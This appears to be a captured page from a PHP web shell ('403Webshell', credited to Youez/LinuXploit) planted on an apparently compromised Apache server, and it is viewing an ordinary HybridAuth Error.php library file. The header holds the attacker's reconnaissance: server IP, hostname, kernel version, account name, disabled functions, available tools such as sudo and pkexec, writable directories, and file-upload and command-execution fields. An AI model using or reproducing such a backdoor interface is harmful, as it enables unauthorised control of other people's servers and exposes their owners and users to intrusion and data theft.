403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.15.195.46
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/www/masrur/hybridauth/Hybrid/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/www/masrur/hybridauth/Hybrid/Error.php
<?php

/**
 * HybridAuth
 * http://hybridauth.sourceforge.net | http://github.com/hybridauth/hybridauth
 * (c) 2009-2015, HybridAuth authors | http://hybridauth.sourceforge.net/licenses.html
 */

/**
 * Errors manager
 *
 * HybridAuth errors are stored in Hybrid::storage() and not displayed directly to the end user
 */
class Hybrid_Error {

	/**
	 * Store error in session
	 *
	 * @param string $message  Error message
	 * @param int    $code     Error code
	 * @param string $trace    Back trace
	 * @param string $previous Previous exception
	 */
	public static function setError($message, $code = null, $trace = null, $previous = null) {
		Hybrid_Logger::info("Enter Hybrid_Error::setError( $message )");

		Hybrid_Auth::storage()->set("hauth_session.error.status", 1);
		Hybrid_Auth::storage()->set("hauth_session.error.message", $message);
		Hybrid_Auth::storage()->set("hauth_session.error.code", $code);
		Hybrid_Auth::storage()->set("hauth_session.error.trace", $trace);
		Hybrid_Auth::storage()->set("hauth_session.error.previous", $previous);
	}

	/**
	 * Clear the last error
	 * @return void
	 */
	public static function clearError() {
		Hybrid_Logger::info("Enter Hybrid_Error::clearError()");

		Hybrid_Auth::storage()->delete("hauth_session.error.status");
		Hybrid_Auth::storage()->delete("hauth_session.error.message");
		Hybrid_Auth::storage()->delete("hauth_session.error.code");
		Hybrid_Auth::storage()->delete("hauth_session.error.trace");
		Hybrid_Auth::storage()->delete("hauth_session.error.previous");
	}

	/**
	 * Checks to see if there is a an error.
	 * @return boolean true if there is an error.
	 */
	public static function hasError() {
		return (bool) Hybrid_Auth::storage()->get("hauth_session.error.status");
	}

	/**
	 * Return error message
	 * @return string
	 */
	public static function getErrorMessage() {
		return Hybrid_Auth::storage()->get("hauth_session.error.message");
	}

	/**
	 * Return error code
	 * @return int
	 */
	public static function getErrorCode() {
		return Hybrid_Auth::storage()->get("hauth_session.error.code");
	}

	/**
	 * Return string detailed error backtrace as string
	 * @return string
	 */
	public static function getErrorTrace() {
		return Hybrid_Auth::storage()->get("hauth_session.error.trace");
	}

	/**
	 * Detailed error backtrace as string
	 * @return string
	 */
	public static function getErrorPrevious() {
		return Hybrid_Auth::storage()->get("hauth_session.error.previous");
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit